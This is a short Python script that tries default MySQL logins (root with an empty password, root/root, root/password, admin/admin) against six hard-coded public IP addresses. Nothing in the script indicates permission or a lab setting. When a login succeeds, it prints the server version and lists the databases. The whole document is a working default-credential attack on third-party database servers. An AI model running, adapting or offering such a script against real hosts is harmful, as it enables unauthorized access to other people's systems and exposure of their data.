import pymysql

IPS = ["216.70.115.252", "205.186.129.244", "70.32.83.223", "205.186.128.85",
       "216.70.97.179", "184.168.22.204"]
CREDS = [("root", ""), ("root", "root"), ("root", "password"), ("admin", "admin")]

for ip in IPS:
    print("=====", ip)
    for user, pwd in CREDS:
        try:
            c = pymysql.connect(host=ip, port=3306, user=user, password=pwd,
                                connect_timeout=5, read_timeout=6)
            info = c.get_server_info()
            cur = c.cursor()
            cur.execute("SELECT 1")
            r1 = cur.fetchall()
            cur.execute("SELECT DATABASE(), @@version")
            r2 = cur.fetchall()
            print(f"  OK {user}/{pwd!r} -> {info} SELECT1={r1} meta={r2}")
            try:
                cur.execute("SHOW DATABASES")
                print("     dbs:", [x[0] for x in cur.fetchall()][:15])
            except Exception as e:
                print("     SHOW DB ERR", str(e)[:60])
            c.close()
            break
        except Exception as e:
            msg = str(e)[:80]
            if "denied" in msg.lower() or "1045" in msg:
                print(f"  {user}/{pwd!r} -> denied")
            else:
                print(f"  {user}/{pwd!r} -> {type(e).__name__}: {msg}")
